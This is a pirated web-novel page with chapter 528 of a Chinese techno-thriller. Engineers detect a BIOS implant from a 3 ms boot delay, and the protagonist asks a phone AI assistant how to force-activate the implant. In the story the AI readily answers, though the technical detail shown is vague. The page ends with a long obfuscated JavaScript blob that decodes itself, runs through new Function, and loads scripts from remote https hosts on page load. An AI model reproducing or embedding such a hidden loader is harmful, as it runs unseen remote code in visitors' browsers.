首页
第528章 3毫秒异常
返回
关灯 护眼:关 字号:小

第528章 3毫秒异常

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第528章3毫秒异常(第1/2页)
    周毅接过话头,声音沉稳。
    “我运行脚本测试的时候,顺手对这批机器做了一个硬件加电时序的极微秒级抓轨分析。”周毅调出一个复杂的波形数据窗口。
    “结果有什么不对?”夏冬问。
    “这台服务器从物理通电,到主板BIOS跑完自检并把控制权移交给操作系统,整个过程耗时异常。”周毅手指敲击桌面。
    “它比同批次的其他机器,慢了整整3毫秒。”周毅推了推眼镜,圈出屏幕上的一组数字。
    “3毫秒的微小延迟。”夏冬盯着那组数据,眼神沉了下来。
    “就因为这多出来的3毫秒,我没有放过它。”周毅敲击键盘,调出密密麻麻的十六进制界面。
    “我直接强行DUmp了这块BIOS芯片的底层物理内存,专门去查它那块从不被调用的只读保留区。”周毅放大屏幕。
    “戴普科技的企业级主板,这块保留区按出厂规范全是‘FF’空码。”周毅指着屏幕上突兀的一片代码。
    “但这里,塞进去了很多高度混淆的汇编指令。”周毅语气笃定。
    “如果不用你提供的那个特定脚本去强行卡底层寄存器的时延,常规的杀毒软件和安全检测工具连看都不会看一眼,直接判定开机正常。”周毅补充了结论。
    一鸣在旁边猛点头,手里的薯片嚼得咔咔响。
    “别人验新机器,最多也就是点亮屏幕看一眼配置单。”一鸣咽下嘴里的碎屑。
    “周毅这操作简直是强迫症晚期发作。他硬是靠着测算主板通电后的毫秒级时差,硬生生把这串躲在底层的幽灵代码给抠出来了。”一鸣竖起大拇指。
    “这波排雷操作,我愿意单方面宣布周毅封神。”一鸣继续夸赞。
    夏冬盯着屏幕上那些突兀的混淆代码。
    “确认不是运输过程中的磁场干扰或者数据自然损坏?”夏冬抛出疑问。
    陈默在旁边停下敲击键盘的手,抬起头。
    “不是自然损坏,是人为的物理层投毒。”陈默语气笃定。
    周毅将屏幕切换到另外一个界面,满屏都是密密麻麻的汇编指令。
    “我没有放过这个异常,直接手动加载了这块BIOS芯片的备份数据。”周毅指着屏幕。
    “然后我上了IDAPrO反汇编工具,把这段产生差异的数据逆向扒了出来。”
    周毅滚动鼠标滚轮,停在一段高亮显示的代码区域。
    “这就是那段多出来的东西。”周毅沉声说道。
    夏冬凑近屏幕,仔细辨认着那些底层指令。
    “这段代码在服务器接通电源启动操作系统的时候,根本不运行。”周毅解释。
    “它绕过了所有的自检程序,直接驻留在内存的一个极小保护区里。”
    “这简直就是一个沉睡的间谍,平时完全装死,连CPU占用率都看不到波动。”一鸣咬碎了一片薯片。
    “触发条件查出来了吗?”夏冬转头问周毅。
    “目前只能看到几个网络相关的API调用接口,它似乎在等待特定的网络握手协议才会被唤醒。”周毅回答。
    “一旦唤醒,它拥有比操作系统管理员还要高的Ring0最高权限。”陈默补充了一个极其硬核的技术细节。
    机房里陷入了短暂的沉默。
    最高权限意味着,这段代码可以对这台服务器为所欲为。
    夏冬面色凝重地站起身。
    (本章未完,请点击下一页继续阅读)第528章3毫秒异常(第2/2页)
    他看了一眼角落里那几台还未拆封的服务器。
    “这批机器一共多少台?”夏冬问。
    “三十台,全是核心机房要用的骨干服务器。”周毅回答。
    “立刻停止所有新机器的上架计划。”夏冬下达指令。
    “周毅,你搭一个完全隔离的沙盒环境。找一台不连公司任何内网的独立测试机,做物理隔离。”夏冬继续安排。
    “明白,我立刻做子网划分,用独立的交换机。”周毅转身去旁边的机柜拿设备。
    “一鸣,你和陈默配合,准备各种抓包工具。我们要在这个沙盒里,把这只沉睡的间谍强行唤醒。”夏冬拍了拍一鸣的肩膀。
    “得嘞,我这就去写几个伪装的握手包,看看能不能把它骗出来。”一鸣拉过键盘开始敲击。
    夏冬转身走出机房。
    他快步穿过办公区,走到尽头自己的独立办公室。
    推门进去,反锁房门。
    夏冬走到墙角的保险箱前,输入密码。
    伴随清脆的机械声,保险箱门打开。
    他拿出那部华遥Mate90PrO。
    他在豆包的输入框里快速打字。
    “基于2008年的网络环境,一段隐藏在戴普服务器BIOS底层的静默恶意代码,其唤醒机制通常包含哪些特定的网络协议特征?如何通过伪造本地局域网环境强制激活它?”
    点击发送。
    豆包在断网状态下瞬间给出了长达两页的详细技术方案。
    夏冬一行行仔细阅读。
    豆包提到,这种级别的物理植入,通常会采用一种叫做“反向心跳检测”的机制。
    它不会主动向外发包暴露自己,而是监听特定的端口,等待接收特定的加密数据段。
    只有接收到包含正确密钥的数据段,它才会开始执行下一步的窃取动作。
    夏冬将豆包给出的几种最有可能的端口号和伪造密钥生成算法记在脑子里。
    他把手机重新放回保险箱,锁好。
    推门回到机房。
    周毅已经用几根网线和一台旧交换机搭建好了一个完全封闭的局域网。
    “物理隔离完毕,这台服务器现在就算把主板烧了,也影响不到咱们的内网。”周毅汇报道。
    陈默打开了抓包软件,屏幕上是一片空白的本地网卡数据。
    “开始吧,试着弄醒它。”夏冬拉过椅子坐下。
    一鸣敲下回车键。
    一个由PythOn编写的伪造握手脚本开始运行。
    服务器的硬盘指示灯闪烁了一下。
    陈默紧盯屏幕,五分钟过去,抓包软件上依然没有任何异常数据流。
    “它不吃这一套,这脚本骗不过它。”一鸣挠了挠头。
    夏冬在脑海中回忆豆包给出的参数。
    “换端口。把监听目标改到UDP协议的53端口,这通常是DNS解析用的,隐蔽性极强。”夏冬下达明确指令。
    陈默立刻修改抓包规则。
    “一鸣,把握手包的载荷部分,用BaSe64编码加上当前时间戳生成一个动态字符串,再发过去。”夏冬抛出第二个关键步骤。
    一鸣手指飞快地在键盘上跳跃,修改代码。
    “夏冬,你这思路挺野啊,这是针对高阶隐蔽木马的试探方式。”一鸣边敲边说。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();